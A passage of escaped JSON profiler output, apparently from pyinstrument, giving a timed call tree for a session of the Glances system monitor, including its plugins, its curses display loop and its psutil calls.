\"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.006048,\"attributes\": {\"cPollSelector\": 0.006048078997991979, \"l398\": 0.006048078997991979},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.006048,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.006048,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.002239,\"attributes\": {\"cWifiPlugin\": 0.0022392329992726445, \"l101\": 0.0022392329992726445},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.002239,\"attributes\": {\"cWifiPlugin\": 0.0022392329992726445, \"l119\": 0.0022392329992726445},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002239,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001526,\"attributes\": {\"l1295\": 0.0015258310013450682},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/core/__init__.py\\u000044\",\"time\": 0.001526,\"attributes\": {\"cCorePlugin\": 0.0015258310013450682, \"l62\": 0.0015258310013450682},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001526,\"attributes\": {\"l1684\": 0.0015258310013450682},\"children\": [{\"identifier\": \"cpu_count_cores\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000564\",\"time\": 0.001526,\"attributes\": {\"l575\": 0.0015258310013450682},\"children\": [{\"identifier\": \"glob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000016\",\"time\": 0.001526,\"attributes\": {\"l31\": 0.0015258310013450682},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001526,\"attributes\": {\"l99\": 0.0015258310013450682},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001526,\"attributes\": {\"l102\": 0.0015258310013450682},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001526,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001996,\"attributes\": {\"cQuicklookPlugin\": 0.00199624800006859, \"l1278\": 0.00199624800006859},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001996,\"attributes\": {\"l1295\": 0.00199624800006859},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001996,\"attributes\": {\"cQuicklookPlugin\": 0.00199624800006859, \"l147\": 0.00199624800006859},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 1.669970,\"attributes\": {\"cGlancesCursesStandalone\": 1.6699699089949718, \"l1154\": 0.06213980399479624, \"l1169\": 0.804049906997534, \"l1172\": 0.8037801980026416},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.062140,\"attributes\": {\"cGlancesCursesStandalone\": 0.06213980399479624, \"l1135\": 0.0599942929984536, \"l1136\": 0.0021455109963426366},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.059994,\"attributes\": {\"cGlancesCursesStandalone\": 0.0599942929984536, \"l569\": 0.0599942929984536},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.059994,\"attributes\": {\"cGlancesCursesStandalone\": 0.0599942929984536, \"l545\": 0.0599942929984536},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.059994,\"attributes\": {\"cProgramlistPlugin\": 0.0199934209958883, \"l1101\": 0.0599942929984536, \"cProcesslistPlugin\": 0.03800012400461128, \"cHelpPlugin\": 0.002000747997954022},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.057994,\"attributes\": {\"cProgramlistPlugin\": 0.0199934209958883, \"l587\": 0.05799354500049958, \"cProcesslistPlugin\": 0.03800012400461128},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.057994,\"attributes\": {\"cProgramlistPlugin\": 0.0199934209958883, \"l538\": 0.052299566006695386, \"cProcesslistPlugin\": 0.03800012400461128, \"l541\": 0.003695842999150045, \"l532\": 0.001998135994654149},\"children\": [{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019988009953522123, \"l500\": 0.0019988009953522123},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.001999,\"attributes\": {\"l53\": 0.0019988009953522123},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000332002353389, \"l440\": 0.002000332002353389},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000332002353389, \"l290\": 0.002000332002353389},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000332002353389, \"l969\": 0.002000332002353389},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.002004146997933276, \"l360\": 0.002004146997933276},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.002004146997933276, \"l340\": 0.002004146997933276},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.002004146997933276, \"l1251\": 0.002004146997933276},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.001996,\"attributes\": {\"cProgramlistPlugin\": 0.001996068996959366, \"l420\": 0.001996068996959366},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020007740022265352, \"l325\": 0.0020007740022265352},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020007740022265352, \"l857\": 0.0020007740022265352},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020007740022265352, \"l969\": 0.0020007740022265352},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999565000005532, \"l440\": 0.001999565000005532},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999565000005532, \"l290\": 0.001999565000005532},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999565000005532, \"l963\": 0.001999565000005532},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020012309978483245, \"l325\": 0.0020012309978483245},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020012309978483245, \"l885\": 0.0020012309978483245},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020012309978483245, \"l907\": 0.0020012309978483245},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020012309978483245, \"l991\": 0.0020012309978483245},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001998052997805644, \"l397\": 0.001998052997805644},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002004,\"attributes\": {\"cProcesslistPlugin\": 0.0020040450035594404, \"l510\": 0.0020040450035594404},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020017550050397404, \"l309\": 0.0020017550050397404},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020017550050397404, \"l882\": 0.0020017550050397404},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020017550050397404, \"l902\": 0.0020017550050397404},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002002,\"attributes\": {\"cGlancesThresholds\": 0.0020017550050397404, \"l50\": 0.0020017550050397404},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019972959998995066, \"l497\": 0.0019972959998995066},\"children\": [{\"identifier\": \"split_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000101\",\"time\": 0.001997,\"attributes\": {\"l111\": 0.0019972959998995066},\"children\": [{\"identifier\": \"str.startswith\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003696,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001303,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020012830063933507, \"l397\": 0.0020012830063933507},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002001,\"attributes\": {\"l96\": 0.0020012830063933507},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.009779,\"attributes\": {\"cProcesslistPlugin\": 0.00977875100215897, \"l360\": 0.00977875100215897},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.009779,\"attributes\": {\"cProcesslistPlugin\": 0.00977875100215897, \"l341\": 0.00977875100215897},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.009779,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001293,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020014850015286356, \"l323\": 0.0020014850015286356},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002001,\"attributes\": {\"l242\": 0.0020014850015286356},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.003927,\"attributes\": {\"cProcesslistPlugin\": 0.003927361001842655, \"l359\": 0.001928304998727981, \"l360\": 0.0019990560031146742},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.001928,\"attributes\": {\"cProcesslistPlugin\": 0.001928304998727981, \"l1020\": 0.001928304998727981},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001928,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019990560031146742, \"l340\": 0.0019990560031146742},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995830007246695, \"l440\": 0.0019995830007246695},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995830007246695, \"l292\": 0.0019995830007246695},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/help/__init__.py\\u0000151\",\"time\": 0.002001,\"attributes\": {\"cHelpPlugin\": 0.002000747997954022, \"l237\": 0.002000747997954022},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002146,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052128200186417, \"l291\": 0.10052128200186417},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052128200186417, \"l260\": 0.10052128200186417},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100521,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100521,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100392,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039156400307547, \"l1202\": 0.10039156400307547},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100392,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100392,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100534,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053443400101969, \"l291\": 0.10053443400101969},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100534,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053443400101969, \"l260\": 0.10053443400101969},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100534,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100534,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100514,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005139289991348, \"l1202\": 0.1005139289991348},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100514,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100514,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100597,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005970689948299, \"l291\": 0.1005970689948299},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100597,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005970689948299, \"l260\": 0.1005970689948299},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100597,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100597,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100479,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004785220065969, \"l1202\": 0.1004785220065969},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100479,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100479,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100485,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048463499697391, \"l291\": 0.10048463499697391},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100485,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048463499697391, \"l260\": 0.10048463499697391},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100485,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100485,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100502,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050162999687018, \"l1202\": 0.10050162999687018},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100502,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100502,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100520,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051998900598846, \"l291\": 0.10051998900598846},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100520,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051998900598846, \"l260\": 0.10051998900598846},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100520,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100520,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100528,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052840299613308, \"l1202\": 0.10052840299613308},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100528,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100528,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100535,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053485100070247, \"l291\": 0.10053485100070247},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100535,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053485100070247, \"l260\": 0.10053485100070247},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100535,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100535,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100449,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004490880004596, \"l1202\": 0.1004490880004596},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100449,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100449,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100450,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045000699756201, \"l291\": 0.10045000699756201},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100450,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045000699756201, \"l260\": 0.10045000699756201},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100450,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100450,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100498,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049840000283439, \"l1202\": 0.10049840000283439},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100498,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100498,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100408,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040763999859337, \"l291\": 0.10040763999859337},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100408,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040763999859337, \"l260\": 0.10040763999859337},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100408,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100408,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100419,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041866199753713, \"l1202\": 0.10041866199753713},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100419,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100419,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.096025,\"attributes\": {\"cGlancesStats\": 0.09602502200141316, \"l287\": 0.09602502200141316},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.096025,\"attributes\": {\"cGlancesStats\": 0.09602502200141316, \"l575\": 0.09602502200141316},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.096025,\"attributes\": {\"l571\": 0.09602502200141316},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.096025,\"attributes\": {\"cGlancesStats\": 0.09602502200141316, \"l274\": 0.07602954699541442, \"l275\": 0.019995475005998742},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.070024,\"attributes\": {\"cDiskioPlugin\": 0.004028481002023909, \"l1278\": 0.06803565000154776, \"l1280\": 0.001988668998819776, \"cContainersPlugin\": 0.0019976059993496165, \"cProcesscountPlugin\": 0.06399823199899402},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002040,\"attributes\": {\"l1295\": 0.0020398120032041334},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.002040,\"attributes\": {\"cDiskioPlugin\": 0.0020398120032041334, \"l114\": 0.0020398120032041334},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002040,\"attributes\": {\"cDiskioPlugin\": 0.0020398120032041334, \"l1351\": 0.0020398120032041334},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002040,\"attributes\": {\"cDiskioPlugin\": 0.0020398120032041334, \"l148\": 0.0020398120032041334},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.002040,\"attributes\": {\"l2133\": 0.0020398120032041334},\"children\": [{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.002040,\"attributes\": {\"l660\": 0.0020398120032041334},\"children\": [{\"identifier\": 